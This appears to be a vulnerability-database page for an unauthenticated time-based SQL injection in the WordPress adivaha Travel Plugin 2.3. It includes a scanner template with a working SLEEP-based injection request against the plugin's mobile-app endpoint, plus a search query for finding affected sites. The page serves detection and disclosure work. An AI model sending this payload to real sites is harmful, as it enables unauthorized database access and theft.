wp-adivaha-sqli: WordPress adivaha Travel Plugin 2.3 - SQL Injection

2025-08-01 WordPress adivaha Travel Plugin PoC Public

Description

An unauthenticated Time-Based SQL injection found in adivaha Travel Plugin 2.3 allows a remote attacker to retrieve the contents of an entire database.

PoC

id: wp-adivaha-sqli

info:
  name: WordPress adivaha Travel Plugin 2.3 - SQL Injection
  author: theamanrawat
  severity: high
  description: |
    An unauthenticated Time-Based SQL injection found in adivaha Travel Plugin 2.3 allows a remote attacker to retrieve the contents of an entire database.
  reference:
    - https://wordpress.org/plugins/adiaha-hotel/
  classification:
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
    publicwww-query: "/wp-content/plugins/adiaha-hotel/"
  tags: time-based-sqli,sqli,adivaha,wordpress,wp,wp-plugin,vuln

http:
  - raw:
      - |
        @timeout: 25s
        GET /mobile-app/v3/?pid='+AND+(SELECT+6398+FROM+(SELECT(SLEEP(7)))zoQK)+AND+'Zbtn'='Zbtn&isMobile=chatbot HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - duration>=7
          - status_code == 200
          - contains(body, "adivaha")
        condition: and
# digest: 4b0a004830460221009ef5d174f1556a9b55906c86512405984ad67f35b11677f5a586789e4dae66bc0221008a9ab3eafd507022bd9bf55003410871e6693a90443e2bb93888512273d28c0e:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities